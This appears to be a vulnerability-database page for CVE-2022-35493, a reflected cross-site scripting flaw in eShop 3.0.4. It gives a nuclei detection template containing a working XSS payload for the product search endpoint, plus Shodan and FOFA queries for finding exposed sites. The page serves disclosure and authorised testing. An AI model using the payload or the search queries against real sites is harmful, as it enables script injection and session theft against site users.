Browse / CVEs / CVE-2022-35493
CVE-2022-35493· wrteam / eshop - ecommerce \/ store website· CWE-79
eShop 3.0.4 - Cross-Site Scripting
mediumseverity
6.1CVSS score
1.8%likelihood of exploitation, next 30 days
78%of all CVEs are less likely
Readycheck to confirm it
eShop 3.0.4 contains a reflected cross-site scripting vulnerability in json search parse and json response in wrteam.in.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the website.
Fix
To remediate this issue, the application should implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
How to confirm it
Send: GET {{BaseURL}}/home/get_products?search=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E
Positive when: contains "Search Result for \\\"><img src=x onerror=alert(document.doma…" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2022-35493 -u <target>
The full check
id: CVE-2022-35493
info:
name: eShop 3.0.4 - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
eShop 3.0.4 contains a reflected cross-site scripting vulnerability in json search parse and json response in wrteam.in.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the website.
remediation: |
To remediate this issue, the application should implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
reference:
- https://github.com/Keyvanhardani/Exploit-eShop-Multipurpose-Ecommerce-Store-Website-3.0.4-Cross-Site-Scripting-XSS/blob/main/README.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-35493
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Keyvanhardani/Exploit-eShop-Multipurpose-Ecommerce-Store-Website-3.0.4-Cross-Site-Scripting-XSS
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-35493
cwe-id: CWE-79
epss-score: 0.01765
epss-percentile: 0.78248
cpe: cpe:2.3:a:wrteam:eshop_-_ecommerce_\/_store_website:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: wrteam
product: eshop_-_ecommerce_\/_store_website
shodan-query:
- http.html:"eShop - Multipurpose Ecommerce"
- http.html:"eshop - multipurpose ecommerce"
fofa-query: body="eshop - multipurpose ecommerce"
tags: cve,cve2022,eshop,xss,wrteam,vuln
http:
- method: GET
path:
- '{{BaseURL}}/home/get_products?search=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E'
matchers-condition: and
matchers:
- type: word
words:
- 'Search Result for \"><img src=x onerror=alert(document.domain)>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://github.com/Keyvanhardani/Exploit-eShop-Multipurpose-Ecommerce-Store-Website-3.0.4-Cross-Site-Scripting-XSS/blob/main/README.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-35493
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Keyvanhardani/Exploit-eShop-Multipurpose-Ecommerce-Store-Website-3.0.4-Cross-Site-Scripting-XSS
Use this check only on systems you are authorised to test. Where the data comes from